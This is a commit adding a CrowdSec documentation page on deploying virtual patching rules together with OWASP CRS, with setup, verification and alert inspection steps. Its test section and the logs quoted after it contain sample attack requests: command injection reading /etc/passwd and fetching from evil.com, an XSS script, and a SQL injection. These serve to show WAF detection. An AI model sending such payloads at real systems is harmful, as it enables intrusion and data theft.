Skip to content

Commit 065c3d9

Browse files
committed
add vpatch+crs page
1 parent 4620fdc commit 065c3d9

File tree

2 files changed

+313
-0
lines changed

2 files changed

+313
-0
lines changed
Lines changed: 312 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,312 @@
1+
---
2+
id: vpatch_and_crs
3+
title: Virtual Patching + OWASP CRS
4+
sidebar_position: 5
5+
---
6+
7+
## Overview
8+
9+
This guide shows how to deploy both CrowdSec's virtual patching rules and OWASP Core Rule Set (CRS) together for comprehensive web application protection.
10+
11+
**Prerequisites**:
12+
- Basic AppSec setup completed (see [Getting Started guides](/appsec/quickstart/))
13+
- CrowdSec Security Engine installed and running
14+
15+
## Quick Setup
16+
17+
### Install Required Collections
18+
19+
Install both the virtual patching and CRS collections:
20+
21+
```bash
22+
# Install virtual patching rules (in-band blocking)
23+
cscli collections install crowdsecurity/appsec-virtual-patching
24+
25+
# Install OWASP CRS rules (out-of-band detection + scenario)
26+
cscli collections install crowdsecurity/appsec-crs
27+
```
28+
29+
### Configure AppSec
30+
31+
Update your AppSec acquisition configuration:
32+
33+
```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
34+
appsec_configs:
35+
- crowdsecurity/appsec-default # Virtual patching rules (in-band)
36+
- crowdsecurity/crs # OWASP CRS rules (out-of-band)
37+
labels:
38+
type: appsec
39+
listen_addr: 127.0.0.1:7422
40+
source: appsec
41+
```
42+
43+
### Restart CrowdSec
44+
45+
```bash
46+
sudo systemctl restart crowdsec
47+
```
48+
49+
## How It Works
50+
51+
### Two-Layer Protection
52+
53+
**Layer 1 - Virtual Patching (In-band)**:
54+
- Rules from `crowdsecurity/appsec-default`
55+
- Evaluated synchronously before request proceeds
56+
- Blocks known exploits immediately
57+
- High-confidence, low false-positive rules
58+
59+
**Layer 2 - OWASP CRS (Out-of-band)**:
60+
- Full ModSecurity Core Rule Set from `crowdsecurity/crs`
61+
- Evaluated asynchronously after request is processed
62+
- Comprehensive attack detection and analysis
63+
- No impact on request response time
64+
65+
### CRS Out-of-Band Processing
66+
67+
OWASP CRS rules are loaded as out-of-band rules, which means:
68+
69+
1. **No Performance Impact**: CRS evaluation happens after the web server has already responded
70+
2. **Comprehensive Detection**: Full rule set can detect complex attack patterns
71+
3. **Event Generation**: Matches generate events for CrowdSec's scenario system
72+
4. **Behavioral Analysis**: The `crowdsecurity/crowdsec-appsec-outofband` scenario monitors patterns and bans repeat offenders
73+
74+
### Scenario Integration
75+
76+
The `crowdsecurity/appsec-crs` collection includes:
77+
- **crowdsecurity/crs**: AppSec config that loads CRS rules in out-of-band mode
78+
- **crowdsecurity/crowdsec-appsec-outofband**: Scenario that bans IPs after 5+ out-of-band rule violations
79+
80+
## Verification
81+
82+
### Check Installation
83+
84+
Verify that both configurations are loaded:
85+
86+
```bash
87+
# Check AppSec configurations
88+
cscli appsec-configs list
89+
90+
# Should show:
91+
# crowdsecurity/appsec-default
92+
# crowdsecurity/crs
93+
94+
# Check scenarios
95+
cscli scenarios list | grep appsec
96+
97+
# Should show:
98+
# crowdsecurity/crowdsec-appsec-outofband
99+
```
100+
101+
### Check AppSec Status
102+
103+
```bash
104+
# Check that AppSec is running
105+
cscli metrics
106+
107+
# Look for appsec metrics in the output
108+
```
109+
110+
## Testing - CrowdSec Vpatch
111+
112+
If CrowdSec vpatch rules are properly enabled, the following request should return a 403:
113+
114+
```bash
115+
TARGET=localhost
116+
curl -I ${TARGET}'/.env'
117+
```
118+
119+
120+
## Testing - OWASP CRS
121+
122+
```bash
123+
TARGET=localhost
124+
curl -I ${TARGET}'/?x=A";cat+/etc/passwd;wget+http://evil.com/payload'
125+
curl -I ${TARGET}'/?x=A";cat+/etc/passwd;wget+http://evil.com/payload'
126+
curl -I ${TARGET}'/?x=A"<script>alert(1)</script>'
127+
curl -I ${TARGET}'/?x=A"<script>alert(1)</script>'
128+
curl -I ${TARGET}'/?x=A"+OR+"1"="1"+union+select+"fooobar","foo'
129+
curl -I ${TARGET}'/?x=A"+OR+"1"="1"+union+select+"fooobar","foo'
130+
```
131+
132+
:::warning
133+
Those requests are meant to emulate malevolent requests that will be catched by OWASP CRS.
134+
:::
135+
136+
Uppon triggering those, you should see in CrowdSec logs:
137+
138+
```bash
139+
time="2025-08-22T11:39:50+02:00" level=info msg="Ip xxx performed 'crowdsecurity/crowdsec-appsec-outofband' (6 events over 65.915093ms) at 2025-08-22 09:39:50.392681747 +0000 UTC"
140+
time="2025-08-22T11:39:51+02:00" level=info msg="(5cf8aff523424fa68e9335f28fec409aIfHabI3W9GsKHzab/crowdsec) crowdsecurity/crowdsec-appsec-outofband by ip xxx : 4h ban on Ip xxx"
141+
```
142+
143+
Further requests to the webserver should return 403:
144+
145+
```bash
146+
$ curl -I ${TARGET}
147+
HTTP/1.1 403 Forbidden
148+
```
149+
150+
## Alert Inspection
151+
152+
You can inspect the alert to better see what URLs or payloads triggered the rules:
153+
154+
```bash
155+
# cscli alerts list
156+
╭──────┬────────────┬─────────────────────────────────────────┬─────────┬────┬───────────┬──────────────────────╮
157+
│ ID │ value │ reason │ country │ as │ decisions │ created_at │
158+
├──────┼────────────┼─────────────────────────────────────────┼─────────┼────┼───────────┼──────────────────────┤
159+
│ 2172 │ Ip:xxx │ crowdsecurity/crowdsec-appsec-outofband │ │ │ ban:1 │ 2025-08-22T09:39:50Z │
160+
...
161+
```
162+
163+
```bash
164+
# cscli alerts inspect -d 2172
165+
166+
################################################################################################
167+
168+
- ID : 2172
169+
- Date : 2025-08-22T09:39:51Z
170+
- Machine : 5cf8aff523424fa68e9335f28fec409aIfHabI3W9GsKHzab
171+
- Simulation : false
172+
- Remediation : true
173+
- Reason : crowdsecurity/crowdsec-appsec-outofband
174+
- Events Count : 6
175+
- Scope:Value : Ip:xxx
176+
- Country :
177+
- AS :
178+
- Begin : 2025-08-22T09:39:50Z
179+
- End : 2025-08-22T09:39:50Z
180+
- UUID : a0ad365a-ef08-4c18-af80-20cc02625c35
181+
182+
╭─────────────────────────────────────────────────────────────────────╮
183+
│ Active Decisions │
184+
├──────────┬─────────────┬────────┬────────────┬──────────────────────┤
185+
│ ID │ scope:value │ action │ expiration │ created_at │
186+
├──────────┼─────────────┼────────┼────────────┼──────────────────────┤
187+
│ 19719904 │ Ip:xxx │ ban │ 3h57m38s │ 2025-08-22T09:39:51Z │
188+
╰──────────┴─────────────┴────────┴────────────┴──────────────────────╯
189+
190+
- Context :
191+
╭────────────┬─────────────────────────────────────────────────────╮
192+
│ Key │ Value │
193+
├────────────┼─────────────────────────────────────────────────────┤
194+
│ rules │ native_rule:901340 │
195+
│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │
196+
│ target_uri │ /?x=A"<script>alert(1)</script>
197+
│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │
198+
╰────────────┴─────────────────────────────────────────────────────╯
199+
200+
- Events :
201+
202+
- Date: 2025-08-22 09:39:50.326505724 +0000 UTC
203+
╭─────────────────────┬──────────────────────────────────────────────────────────────╮
204+
│ Key │ Value │
205+
├─────────────────────┼──────────────────────────────────────────────────────────────┤
206+
│ datasource_path │ appsec │
207+
│ datasource_type │ appsec │
208+
│ log_type │ appsec-info │
209+
│ remediation_cmpt_ip │ 127.0.0.1 │
210+
│ request_uuid │ 331f9426-3333-420a-bffa-ab953f44e329 │
211+
│ rule_ids │ [901340 930120 932230 932235 932115 932160 942540 949110 │
212+
│ │ 980170] │
213+
│ rule_name │ native_rule:901340 │
214+
│ service │ appsec │
215+
│ source_ip │ xxx │
216+
│ target_host │ localhost │
217+
│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │
218+
╰─────────────────────┴──────────────────────────────────────────────────────────────╯
219+
220+
- Date: 2025-08-22 09:39:50.33919196 +0000 UTC
221+
╭─────────────────────┬──────────────────────────────────────────────────────────────╮
222+
│ Key │ Value │
223+
├─────────────────────┼──────────────────────────────────────────────────────────────┤
224+
│ datasource_path │ appsec │
225+
│ datasource_type │ appsec │
226+
│ log_type │ appsec-info │
227+
│ remediation_cmpt_ip │ 127.0.0.1 │
228+
│ request_uuid │ 69c72a65-e7e5-49fa-9253-bdbe6fca52c9 │
229+
│ rule_ids │ [901340 930120 932230 932235 932115 932160 942540 949110 │
230+
│ │ 980170] │
231+
│ rule_name │ native_rule:901340 │
232+
│ service │ appsec │
233+
│ source_ip │ xxx │
234+
│ target_host │ localhost │
235+
│ target_uri │ /?x=A";cat+/etc/passwd;wget+http://evil.com/payload │
236+
╰─────────────────────┴──────────────────────────────────────────────────────────────╯
237+
238+
- Date: 2025-08-22 09:39:50.352001523 +0000 UTC
239+
╭─────────────────────┬───────────────────────────────────────────────────────────╮
240+
│ Key │ Value │
241+
├─────────────────────┼───────────────────────────────────────────────────────────┤
242+
│ datasource_path │ appsec │
243+
│ datasource_type │ appsec │
244+
│ log_type │ appsec-info │
245+
│ remediation_cmpt_ip │ 127.0.0.1 │
246+
│ request_uuid │ b7a95a56-a88e-4c89-b23b-2d3d06759af4 │
247+
│ rule_ids │ [901340 941100 941110 941160 941390 942100 949110 980170] │
248+
│ rule_name │ native_rule:901340 │
249+
│ service │ appsec │
250+
│ source_ip │ xxx │
251+
│ target_host │ localhost │
252+
│ target_uri │ /?x=A"<script>alert(1)</script> │
253+
╰─────────────────────┴───────────────────────────────────────────────────────────╯
254+
255+
- Date: 2025-08-22 09:39:50.365872595 +0000 UTC
256+
╭─────────────────────┬───────────────────────────────────────────────────────────╮
257+
│ Key │ Value │
258+
├─────────────────────┼───────────────────────────────────────────────────────────┤
259+
│ datasource_path │ appsec │
260+
│ datasource_type │ appsec │
261+
│ log_type │ appsec-info │
262+
│ remediation_cmpt_ip │ 127.0.0.1 │
263+
│ request_uuid │ fbc41250-53e6-49d9-ab04-5f6ed2cc1793 │
264+
│ rule_ids │ [901340 941100 941110 941160 941390 942100 949110 980170] │
265+
│ rule_name │ native_rule:901340 │
266+
│ service │ appsec │
267+
│ source_ip │ xxx │
268+
│ target_host │ localhost │
269+
│ target_uri │ /?x=A"<script>alert(1)</script>
270+
╰─────────────────────┴───────────────────────────────────────────────────────────╯
271+
272+
- Date: 2025-08-22 09:39:50.378905387 +0000 UTC
273+
╭─────────────────────┬───────────────────────────────────────────────╮
274+
│ Key │ Value │
275+
├─────────────────────┼───────────────────────────────────────────────┤
276+
│ datasource_path │ appsec │
277+
│ datasource_type │ appsec │
278+
│ log_type │ appsec-info │
279+
│ remediation_cmpt_ip │ 127.0.0.1 │
280+
│ request_uuid │ d59825ff-268b-42ff-8e90-9e831a7f6a6b │
281+
│ rule_ids │ [901340 942100 942190 949110 980170] │
282+
│ rule_name │ native_rule:901340 │
283+
│ service │ appsec │
284+
│ source_ip │ xxx │
285+
│ target_host │ localhost │
286+
│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │
287+
╰─────────────────────┴───────────────────────────────────────────────╯
288+
289+
- Date: 2025-08-22 09:39:50.392514386 +0000 UTC
290+
╭─────────────────────┬───────────────────────────────────────────────╮
291+
│ Key │ Value │
292+
├─────────────────────┼───────────────────────────────────────────────┤
293+
│ datasource_path │ appsec │
294+
│ datasource_type │ appsec │
295+
│ log_type │ appsec-info │
296+
│ remediation_cmpt_ip │ 127.0.0.1 │
297+
│ request_uuid │ d0dc6cab-0ef2-4e7d-9fd1-ab06091b23ea │
298+
│ rule_ids │ [901340 942100 942190 949110 980170] │
299+
│ rule_name │ native_rule:901340 │
300+
│ service │ appsec │
301+
│ source_ip │ xxx │
302+
│ target_host │ localhost │
303+
│ target_uri │ /?x=A"+OR+"1"="1"+union+select+"fooobar","foo │
304+
╰─────────────────────┴───────────────────────────────────────────────╯
305+
306+
```
307+
308+
## Next Steps
309+
310+
- Learn about [AppSec Configuration options](/appsec/configuration.md)
311+
- Understand [AppSec Hooks](/appsec/hooks.md) for customization
312+
- Explore [Rule Syntax](/appsec/rules_syntax.md) for custom rules

crowdsec-docs/sidebars.ts

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -714,6 +714,7 @@ const sidebarsConfig: SidebarConfig = {
714714
],
715715
},
716716
{ type: "doc", id: "appsec/configuration" },
717+
{ type: "doc", id: "appsec/vpatch_and_crs" },
717718
{
718719
type: "category",
719720
label: "Rules",

0 commit comments

Comments
 (0)